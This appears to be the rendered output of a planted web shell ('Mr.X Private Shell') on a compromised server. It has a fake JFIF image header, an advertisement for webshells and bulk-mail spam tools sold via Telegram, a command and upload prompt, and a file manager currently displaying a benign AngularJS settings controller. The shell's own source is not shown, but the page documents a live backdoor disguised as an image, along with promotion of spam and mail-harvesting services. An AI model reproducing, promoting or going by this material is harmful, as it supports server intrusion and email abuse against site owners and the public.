����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
'use strict';

define(['app'], function(app) {
	app.controller("initialSettings105",
		["$rootScope", "$scope", "api", "util", "alert",
			function ($rootScope, $scope, api, util, alert) {

				var name = 'initialSettings';
				var order = 105;

				var feature = {
					_id: order + "_" + name,
					feature: name,
					order: order,
				};

				$scope.saveData = {
					general: {},
					performance: {},
					resource: {}
				};

				$scope.general = {};
				$scope.performance = {};
				$scope.resource = {};

				api.getSettings({
					data: { section: 'general' },
					success: function (data) {
						$scope.saveData.general = data;
						$scope.general = util.duplicateObject($scope.saveData.general);
					}
				});

				api.getSettings({
					data: { section: 'performance' },
					success: function (data) {
						$scope.saveData.performance = data;
						$scope.performance = util.duplicateObject($scope.saveData.performance);
					}
				});

				api.getSettings({
					data: { section: 'resource' },
					success: function (data) {
						$scope.saveData.resource = data;
						$scope.resource = util.duplicateObject($scope.saveData.resource);
					}
				});

				$scope.$on('save', function () {

					var general = util.saveParams($scope.saveData.general, $scope.general);
					general.section = 'general';

					var performance = util.saveParams($scope.saveData.performance, $scope.performance);
					performance.section = 'performance';

					var resource = util.saveParams($scope.saveData.resource, $scope.resource);
					resource.section = 'resource';

					api.manageSettings({
						data: general,
						success: function () {

							api.manageSettings({
								data: performance,
								success: function () {

									api.manageSettings({
										data: resource,
										success: function () {
											$rootScope.$emit("approve", feature);
										},
										failed: function (message) {
											alert.error(message);
										}
									});

								},
								failed: function (message) {
									alert.error(message);
								}
							});

						},
						failed: function (message) {
							alert.error(message);
						}
					});

				});
			}
		]
	);
});

Filemanager

Name Type Size Permission Actions
controller.js File 2.15 KB 0644
view.htm File 9.64 KB 0644